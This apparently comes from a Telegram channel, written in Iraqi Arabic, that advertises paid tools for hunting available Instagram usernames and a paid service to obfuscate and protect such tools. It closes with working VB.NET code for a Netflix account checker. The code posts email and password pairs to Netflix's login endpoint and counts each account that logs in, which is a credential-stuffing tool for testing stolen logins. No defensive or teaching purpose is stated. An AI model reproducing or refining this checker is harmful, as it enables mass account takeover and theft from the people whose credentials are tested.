782
订阅者
无数据24 小时
无数据7 天
无数据30 天
帖子存档
تحديث الجديد للاداه مال صيد متاحات الانستا
تحدث النسخ الخاصه كلهن
تحديث بفلوس لحد يجي يطلب مجاني
تحديث تصال جيميل
تحديث نظام التفعيل عن طريق توكنات
تحديث حمايه الاداه حمايه مدفوعه
تحديث الشكل و حل اغلب المشاكل الي تصادفكم حاليا
جماعه سورسات لحد يجي يطلب سورس لان ما انطي تريد نسخه بسمك تعال وخلص
تحديث قريباا..
اليوم او باجر
شباب تره مو بالبيت اني فا لخد يلح قبل
يومين طلعت رحت الكلار ونوب مناك رحت البغداد
حاليا بغداد
ولاب ما فاتحه والله 😒
• مرحبا متواجد حاليا ☑️ .
• لتشفير وحماية جميع انواع الادوات 🔥 .
• حماية ضد التخطي وضد الفروخ 🤘🏻 .
• اسعار التشفير والحماية :
• اداة فقط : 15$ !
• مجموعة من الادوات : كل اداة 10$ !
• استقبل جميع طرق الدفع '' ☑️
• @lteaal .
Public Sub Netflix(user As String, pass As String)
Try
Dim httpget As HttpWebRequest = CType(WebRequest.Create("https://www.netflix.com/iq-en/login"), HttpWebRequest)
With httpget
.Method = "GET"
.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
.Accept = "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"
.CookieContainer = login
.AutomaticDecompression = DecompressionMethods.GZip Or DecompressionMethods.Deflate
.KeepAlive = True
End With
Dim authurl As String = Regex.Match(New StreamReader(httpget.GetResponse().GetResponseStream()).ReadToEnd(), "name=""authURL"" value=""(.*?)""/").Groups(1).Value.ToString()
Dim bytedata As Byte() = Encoding.UTF8.GetBytes(String.Concat(New String() {"authURL=", authurl, "&email=", user, "&password=", pass, "&withFields=email%2Cpassword%2CrememberMe%2CnextPage%2CshowPassword&rememberMe=True&flow=websiteSignUp&mode=login&action=loginAction&nextPage=https%3A%2F%2Fwww.netflix.com%2FYourAccount&showPassword="}))
Dim httprequest As HttpWebRequest = CType(WebRequest.Create("https://www.netflix.com/Login?nextpage=https%3A%2F%2Fwww.netflix.com%2FYourAccount"), HttpWebRequest)
With httprequest
.Method = "POST"
.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36"
.ContentType = "application/x-www-form-urlencoded"
.CookieContainer = login
.AutomaticDecompression = (DecompressionMethods.GZip Or DecompressionMethods.Deflate)
.Host = "www.netflix.com"
.Referer = "https://www.netflix.com/iq-en/Login"
.AllowAutoRedirect = True
.ContentLength = bytedata.Length
End With
Dim poststream As Stream = httprequest.GetRequestStream() : poststream.Write(bytedata, 0, bytedata.Length) : poststream.Dispose() : poststream.Close()
Dim result As String = New StreamReader(httprequest.GetResponse().GetResponseStream()).ReadToEnd()
If result.Contains("href=""/BillingActivity") Then
GunaLabel14.Text += 1
Else
GunaLabel17.Text += 1
End If
Catch ex As webException : End Try
End Sub
